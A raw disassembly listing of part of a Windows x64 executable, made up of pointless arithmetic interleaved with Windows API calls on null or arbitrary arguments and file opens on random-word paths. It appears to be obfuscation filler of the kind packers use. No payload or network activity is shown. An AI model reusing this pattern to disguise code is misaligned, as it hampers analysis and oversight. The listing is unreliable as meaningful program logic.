mov word [rsp + 0xe34], ax
movzx ecx, word [rsp + 0xf70]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xeb0], ax
movsx eax, word [0x1401e6060]
mov rcx, qword [rsp + 0xa490]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xccc], ax
mov eax, dword [rsp + 0x4628]
mov dword [rsp + 0x4a48], eax
mov rax, qword [rsp + 0xae00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x465c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4644], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xba98], rax
mov rax, qword [rsp + 0x91f8]
mov qword [rsp + 0xbaa0], rax
mov rax, qword [rsp + 0xb750]
mov rcx, qword [rsp + 0xb460]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa788], rax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4578], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rax, qword [rsp + 0xaf10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea4]
add eax, ecx
mov rcx, qword [0x1401e7440]
mov word [rcx], ax
mov rax, qword [rsp + 0x9de8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb4]
and eax, ecx
mov byte [rsp + 0xce], al
lea rax, [rsp + 0x1054]
mov qword [rsp + 0xbaa8], rax
mov rax, qword [rsp + 0xad48]
movsx eax, word [rax]
movsx ecx, word [0x1401e7494]
sub eax, ecx
mov rcx, qword [rsp + 0xa310]
mov word [rcx], ax
lea rcx, [rsp + 0x26a88]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x96]
mov qword [rsp + 0xbab0], rax
mov rax, qword [rsp + 0xb420]
mov rcx, qword [rsp + 0xab80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa838]
mov qword [rcx], rax
lea rax, [rsp + 0x9740]
mov qword [rsp + 0xbab8], rax
mov eax, dword [rsp + 0x4398]
mov ecx, dword [rsp + 0x46bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9b00]
mov dword [rcx], eax
mov eax, dword [rsp + 0x49ac]
mov ecx, dword [rsp + 0x4450]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb988]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.C:Majoretteswryness
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xbac0], rax
movsx eax, byte [rsp + 0x109]
mov rcx, qword [rsp + 0x96e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e7508]
mov byte [rcx], al
mov rax, qword [rsp + 0xb320]
movzx eax, word [rax]
mov word [rsp + 0x1074], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4840], eax
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb2]
add eax, ecx
mov rcx, qword [rsp + 0xa090]
mov byte [rcx], al
lea rax, [rsp + 0x1060]
mov qword [rsp + 0xbac8], rax
mov rax, qword [rsp + 0xaf20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x130]
add eax, ecx
mov byte [rsp + 0x111], al
mov eax, dword [rsp + 0x49f8]
mov ecx, dword [rsp + 0x4604]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9428]
mov dword [rcx], eax
lea rdx, [rsp + 0x28260]
mov rcx, qword [rsp + 0xbac0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x481c], eax
lea rax, [0x1401e6020]
mov qword [rsp + 0xbad0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.C:PlauditsPrescriptivismUnabridgedpitcheshabituated
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xbad8], rax
movzx ecx, word [rsp + 0xb80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf98], ax
mov rax, qword [rsp + 0x9f08]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa418]
mov qword [rsp + 0xbae0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbae0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x9cf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9010]
mov rax, qword [rax]
mov qword [rsp + 0xbae8], rax
movsx eax, word [rsp + 0xd88]
mov rcx, qword [rsp + 0xa818]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9b28]
mov word [rcx], ax
mov rax, qword [rsp + 0xb150]
movzx eax, word [rax]
mov word [0x1401e78d0], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9528], rax
movzx ecx, word [rsp + 0xc48]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1078], ax
mov rcx, qword [rsp + 0xad90]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4408], eax
movsx eax, byte [rsp + 0x69]
movsx ecx, byte [rsp + 0xc2]
xor eax, ecx
mov byte [rsp + 0xeb], al
mov rax, qword [0x1401e7730]
movzx eax, byte [rax]
mov byte [rsp + 0x159], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [rsp + 0xa5c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaec0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xaae8]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9990], rax
lea rax, [rsp + 0x4404]
mov qword [rsp + 0xbaf0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.C:Promissory_broccoli_symphonists
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xbaf8], rax
mov rax, qword [rsp + 0xb938]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb750]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb858]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb030]
mov rcx, qword [rsp + 0x9160]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb830]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4504]
mov dword [rsp + 0x4a4c], eax
movzx ecx, word [rsp + 0xc48]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xbfc], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9a68], rax
movsx eax, word [rsp + 0xf68]
movsx ecx, word [0x1401e6094]
add eax, ecx
mov rcx, qword [rsp + 0xa280]
mov word [rcx], ax
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0xdc]
and eax, ecx
mov byte [0x1401e6083], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4a50], eax
movzx eax, word [rsp + 0xf3c]
mov word [rsp + 0x107c], ax
mov rax, qword [rsp + 0x9af0]
movsx eax, byte [rax]
mov rcx, qword [0x1401e75b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb7], al
mov rax, qword [rsp + 0xb028]
movzx eax, word [rax]
mov word [rsp + 0x1080], ax
mov rax, qword [rsp + 0xaec8]
mov rcx, qword [rsp + 0xb8f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9550]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4834]
mov ecx, dword [rsp + 0x4a48]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9a20]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
lea rax, [rsp + 0x480c]
mov qword [rsp + 0xbb00], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0xba38]
mov rcx, qword [rsp + 0xa498]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa070]
mov qword [rcx], rax
lea rax, [0x1401e6028]
mov qword [rsp + 0xbb08], rax
movsx eax, byte [rsp + 0x105]
movsx ecx, byte [rsp + 0x66]
sub eax, ecx
mov byte [0x1401e603b], al
mov rax, qword [rsp + 0xad70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xafc8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa090]
mov byte [rcx], al
movsx eax, word [0x1401e76f0]
mov rcx, qword [rsp + 0xa720]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xbe8], ax
movzx eax, word [rsp + 0xc78]
mov word [rsp + 0x1084], ax
mov rax, qword [rsp + 0xb518]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4574]
shl eax, cl
mov dword [rsp + 0x465c], eax
mov rax, qword [rsp + 0xae68]
mov rax, qword [rax]
mov qword [rsp + 0xbb10], rax
mov rax, qword [rsp + 0x9588]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4a3c]
shr eax, cl
mov rcx, qword [rsp + 0xb120]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.C:_tinyGaggledumpiringTrumpery
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xbb18], rax
lea rdx, [rsp + 0xada8]
mov rcx, qword [rsp + 0xbb18]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4750], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9688], rax
mov rax, qword [rsp + 0xb618]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa3c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa968], rax
lea rax, [0x1401e6083]
mov qword [rsp + 0xbb20], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4a54], eax
lea rdx, [rsp + 0x49b0]
mov rcx, qword [rsp + 0x9220]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4948], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x272d
mov r9d, 0x1c1e
mov r8d, 0xae7c97a2
mov edx, 2
mov rcx, qword [rsp + 0xaf30]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4a58], eax
lea rax, [rsp + 0x87]
mov qword [0x1401e78d8], rax
mov rax, qword [rsp + 0x9b28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xabb0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xffc], ax
lea rax, [rsp + 0xb9c]
mov qword [rsp + 0xbb28], rax
mov rax, qword [rsp + 0xafb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9678]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x149], al
lea rdx, [rsp + 0x9100]
mov rcx, qword [rsp + 0xaaa8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4514], eax
mov rax, qword [rsp + 0xb600]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1030]
add eax, ecx
mov rcx, qword [rsp + 0xae50]
mov word [rcx], ax
mov rax, qword [rsp + 0x9d48]
mov qword [rsp + 0xbb30], rax
mov rax, qword [rsp + 0x9d38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4708]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4790], eax
mov eax, dword [rsp + 0x442c]
mov dword [rsp + 0x4a5c], eax
mov rax, qword [rsp + 0xa8d0]
mov rcx, qword [0x1401e7410]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x95f8], rax
movzx eax, byte [rsp + 0xa1]
mov rcx, qword [rsp + 0x95d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [reloc.COMCTL32.dll_MakeDragList], al
mov rax, qword [rsp + 0xab88]
movzx eax, word [rax]
mov word [rsp + 0x1088], ax
mov rax, qword [rsp + 0xa240]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e6073]
sub eax, ecx
mov rcx, qword [rsp + 0xba78]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4a60], eax
movsx eax, byte [rsp + 0x8e]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov byte [rsp + 0xa2], al
lea rax, [rsp + 0xdd8]
mov qword [rsp + 0xbb38], rax
mov rax, qword [rsp + 0xa730]
mov rcx, qword [rsp + 0x95e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8f20]
mov qword [rcx], rax
lea rax, [rsp + 0x4600]
mov qword [rsp + 0xbb40], rax
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0x9518]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xa570]
mov qword [rcx], rax
mov eax, dword [rsp + 0x45c8]
mov rcx, qword [rsp + 0xa0c0]
mov qword [rsp + 0xbb48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbb48]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x46f4], eax
mov rcx, qword [rsp + 0xb468]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x46d4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4448], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
lea rcx, [rsp + 0x256d8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0xb0f0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401e6086], al
lea rax, [rsp + 0xde8]
mov qword [rsp + 0xbb50], rax
movsx eax, byte [rsp + 0x146]
movsx ecx, byte [rsp + 0x9a]
sar eax, cl
mov byte [rsp + 0x52], al
lea rax, [rsp + 0xe78]
mov qword [rsp + 0xbb58], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rcx, qword [rsp + 0xa3d0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9678]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa3]
and eax, ecx
mov rcx, qword [rsp + 0xbb20]
mov byte [rcx], al
movzx ecx, word [rsp + 0xe88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd84], ax
mov eax, dword [rsp + 0x4524]
mov ecx, dword [0x1401e6014]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a28], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.C:unacquaintedcreatures
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xbb60], rax
mov rax, qword [rsp + 0xb8a0]
mov rax, qword [rax]
mov qword [rsp + 0xbb68], rax
mov rcx, qword [rsp + 0x95c8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4870], eax
mov rax, qword [rsp + 0x98c0]
mov rcx, qword [rsp + 0xa870]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9098]
mov qword [rcx], rax
lea rax, [rsp + 0x49dc]
mov qword [rsp + 0xbb70], rax
mov rax, qword [rsp + 0x9e68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa6d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7770], ax
mov rax, qword [rsp + 0x98a0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e746f]
add eax, ecx
mov rcx, qword [rsp + 0xa920]
mov byte [rcx], al
lea rcx, [rsp + 0x256b0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0xa1c0]
movzx eax, byte [rax]
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0xb7a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xccc]
sub eax, ecx
mov word [rsp + 0xc50], ax
mov rax, qword [rsp + 0x94f8]
movzx eax, word [rax]
mov rcx, qword [0x1401e7450]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf74], ax
mov rax, qword [rsp + 0x9908]
mov qword [rsp + 0xbb78], rax
mov rax, qword [rsp + 0xa050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x49c0], eax
mov rax, qword [rsp + 0xb518]
mov eax, dword [rax]
mov dword [rsp + 0x4a64], eax
mov rax, qword [rsp + 0xa828]
mov rcx, qword [rsp + 0xb4a8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x95f8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x268a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, byte [rsp + 0x90]
movsx ecx, byte [rsp + 0x14e]
add eax, ecx
mov byte [str.yRs_a], al
mov rax, qword [rsp + 0xa040]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xac78]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xdac], ax
mov edx, 0x302c35
mov rcx, qword [rsp + 0xa220]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x43ec], eax
movzx eax, byte [rsp + 0x110]
mov byte [rsp + 0x15b], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.C:_assailedWindiest
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xbb80], rax
movsx eax, word [rsp + 0xfa0]
movsx ecx, word [rsp + 0xe30]
or eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
lea rcx, [rsp + 0x2a3a0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x481c], eax
movzx eax, word [rsp + 0xf84]
mov word [rsp + 0x108c], ax
movzx ecx, word [rsp + 0xd34]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc48], ax
mov rax, qword [rsp + 0x9cf0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x48e4]
shl eax, cl
mov rcx, qword [rsp + 0x9e38]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.C:SlantwiseCurdled
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xbb88], rax
mov rax, qword [rsp + 0xb8b0]
mov rcx, qword [rsp + 0xa0f0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xb230]
mov qword [rcx], rax
mov rax, qword [0x1401e7410]
mov qword [rsp + 0xbb90], rax
mov rax, qword [rsp + 0x9198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4398]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x495c], eax
lea rax, [rsp + 0x10d]
mov qword [0x1401e78e0], rax
lea rax, [rsp + 0x64]
mov qword [rsp + 0xbb98], rax
mov rax, qword [0x1401e7548]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb530]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9e70]
mov byte [rcx], al
movzx eax, word [rsp + 0xecc]
mov rcx, qword [rsp + 0x9320]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb6e8]
mov word [rcx], ax
movzx eax, word [rsp + 0xf34]
mov word [rsp + 0x1090], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
lea rcx, [rsp + 0xacf0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x46d4], eax
mov rax, qword [rsp + 0x9878]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4340], eax
mov rax, qword [rsp + 0xb9f0]
mov qword [rsp + 0xbba0], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1f5b
mov r9d, 0x1e51
mov r8d, 0xc5206f32
mov edx, 2
mov rcx, qword [rsp + 0xbb18]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4a68], eax
mov rax, qword [rsp + 0x91d8]
mov rcx, qword [rsp + 0x90f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43bc], eax
lea rcx, [rsp + 0x2a260]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x438c], eax
lea rax, [rsp + 0xa4a8]
mov qword [rsp + 0xbba8], rax
mov rax, qword [rsp + 0xa270]
movzx eax, byte [rax]
mov byte [0x1401e74c2], al
movsx eax, byte [rsp + 0x8e]
movsx ecx, byte [rsp + 0xfa]
add eax, ecx
mov byte [rsp + 0x10c], al
movzx eax, byte [rsp + 0x110]
movzx ecx, byte [rsp + 0xc1]
add eax, ecx
mov byte [rsp + 0xc9], al
mov rax, qword [rsp + 0x9eb0]
movzx eax, word [rax]
mov word [rsp + 0x1094], ax
mov rax, qword [rsp + 0xb058]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb368]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcd4], ax
mov eax, dword [0x1401e6018]
mov dword [rsp + 0x4a6c], eax
mov rax, qword [rsp + 0x9c78]
mov rcx, qword [rsp + 0xb140]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4344], eax
mov rax, qword [rsp + 0xafc0]
mov rcx, qword [rsp + 0x9590]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb790]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb8f0]
mov rax, qword [rax]
mov qword [rsp + 0xbbb0], rax
movsx eax, word [rsp + 0xc68]
movsx ecx, word [rsp + 0xe98]
shl eax, cl
mov rcx, qword [0x1401e7568]
mov word [rcx], ax
mov rax, qword [rsp + 0x9e08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe6]
sar eax, cl
mov rcx, qword [rsp + 0xad70]
mov byte [rcx], al
lea rdx, [rsp + 0xbbb8]
mov rcx, qword [rsp + 0x98e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x44a0], eax
lea rax, [rsp + 0x7e]
mov qword [rsp + 0xbbc0], rax
mov rax, qword [rsp + 0xaf40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9f98]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xb190]
mov word [rcx], ax
movzx ecx, word [rsp + 0xd94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1004], ax
movsx eax, word [rsp + 0xf2c]
mov rcx, qword [rsp + 0xa9f8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov word [rcx], ax
lea rax, [rsp + 0xa0e8]
mov qword [rsp + 0xbbc8], rax
mov rax, qword [rsp + 0xa0a8]
mov rcx, qword [rsp + 0x8e98]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x94e0]
mov rax, qword [rax]
mov qword [rsp + 0xbbd0], rax
mov rax, qword [rsp + 0x9018]
mov rcx, qword [rsp + 0x95b8]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x464c], eax
xor r9d, r9d
lea r8, [rsp + 0xb1b8]
mov rdx, qword [rsp + 0x8db0]
mov rcx, qword [rsp + 0xbb88]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4a70], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x96b0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x25480]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx eax, byte [rsp + 0x138]
mov byte [rsp + 0x15c], al
movsx eax, word [rsp + 0x105c]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e6104], ax
movzx eax, word [0x1401e60e8]
mov rcx, qword [rsp + 0x9d40]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe54], ax
mov rax, qword [rsp + 0x9200]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaf38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x8e20]
movzx eax, word [rax]
mov word [rsp + 0x1098], ax
movzx ecx, word [rsp + 0xeac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe5c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.C:BlunderedConjointWarmLatticechieftain
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xbbd8], rax
mov rcx, qword [rsp + 0x9718]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa7a8]
mov rcx, qword [rsp + 0x9af8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9758], rax
lea rax, [rsp + 0x443c]
mov qword [rsp + 0xbbe0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4748], eax
mov rax, qword [rsp + 0x9120]
mov rcx, qword [rsp + 0xb988]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaf70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x93f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa580]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb7f8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xc84]
mov word [rsp + 0x109c], ax
movsx eax, byte [rsp + 0x153]
mov rcx, qword [rsp + 0x98f0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e7478]
mov byte [rcx], al
movsx eax, word [rsp + 0x1050]
mov rcx, qword [rsp + 0xb428]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa740]
mov word [rcx], ax
movzx eax, word [rsp + 0x101c]
mov word [rsp + 0x10a0], ax
movsx eax, byte [rsp + 0x8f]
movsx ecx, byte [rsp + 0xde]
shl eax, cl
mov rcx, qword [rsp + 0x92e8]
mov byte [rcx], al
xor edx, edx
mov rax, qword [rsp + 0xb880]
mov eax, dword [rax]
mov ecx, 0x699
div ecx
mov dword [rsp + 0x45d4], eax
mov rax, qword [rsp + 0xb498]
mov qword [rsp + 0xbbe8], rax
mov eax, dword [rsp + 0x480c]
mov ecx, dword [section..data]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4574], eax
mov rax, qword [rsp + 0xa7d8]
mov qword [rsp + 0xbbf0], rax
movsx eax, word [rsp + 0xc04]
movsx ecx, word [rsp + 0xde4]
sar eax, cl
mov word [rsp + 0xbf4], ax
movzx eax, byte [0x1401e746e]
movzx ecx, byte [rsp + 0x75]
or eax, ecx
mov byte [0x1401e6083], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x497c], eax
